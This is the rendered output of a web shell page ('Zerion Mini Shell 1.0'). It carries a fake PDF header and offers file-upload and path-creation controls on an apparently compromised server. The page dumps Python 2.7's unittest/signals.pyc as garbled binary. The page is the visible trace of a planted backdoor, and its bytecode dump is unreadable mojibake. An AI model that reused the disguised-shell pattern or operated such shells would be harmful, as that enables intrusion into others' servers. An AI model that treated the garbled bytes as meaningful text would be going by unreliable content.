%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/unittest/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/unittest/signals.pyc

ó
Pêáac@sddlZddlZddlmZeZdefd„ƒYZejƒZ	d„Z
d„Zda
d„Zdd„ZdS(	iÿÿÿÿN(twrapst_InterruptHandlercBseZd„Zd„ZRS(cCsyt|_||_t|ttfƒrl|tjkrBtj}ql|tj	kr]d„}qlt
dƒ‚n||_dS(NcSsdS(N((t
unused_signumtunused_frame((s,/usr/local/lib/python2.7/unittest/signals.pytdefault_handlerssYexpected SIGINT signal handler to be signal.SIG_IGN, signal.SIG_DFL, or a callable object(tFalsetcalledtoriginal_handlert
isinstancetinttlongtsignaltSIG_DFLtdefault_int_handlertSIG_IGNt	TypeErrorR(tselfR((s,/usr/local/lib/python2.7/unittest/signals.pyt__init__
s		cCs{tjtjƒ}||k	r1|j||ƒn|jrM|j||ƒnt|_xtjƒD]}|jƒqcWdS(N(	Rt	getsignaltSIGINTRRtTruet_resultstkeyststop(Rtsignumtframetinstalled_handlertresult((s,/usr/local/lib/python2.7/unittest/signals.pyt__call__s		(t__name__t
__module__RR(((s,/usr/local/lib/python2.7/unittest/signals.pyR	s	cCsdt|<dS(Ni(R(R((s,/usr/local/lib/python2.7/unittest/signals.pytregisterResult*scCsttj|dƒƒS(N(tboolRtpoptNone(R((s,/usr/local/lib/python2.7/unittest/signals.pytremoveResult-scCsDtdkr@tjtjƒ}t|ƒatjtjtƒndS(N(t_interrupt_handlerR"RRRR(R((s,/usr/local/lib/python2.7/unittest/signals.pytinstallHandler1scsTˆdk	r+tˆƒ‡fd†ƒ}|Stdk	rPtjtjtjƒndS(NcsEtjtjƒ}tƒzˆ||ŽSWdtjtj|ƒXdS(N(RRRt
removeHandler(targstkwargstinitial(tmethod(s,/usr/local/lib/python2.7/unittest/signals.pytinner;s
(R"RR$RRR(R*R+((R*s,/usr/local/lib/python2.7/unittest/signals.pyR&9s
(Rtweakreft	functoolsRRt
__unittesttobjectRtWeakKeyDictionaryRRR#R"R$R%R&(((s,/usr/local/lib/python2.7/unittest/signals.pyt<module>s 			

Zerion Mini Shell 1.0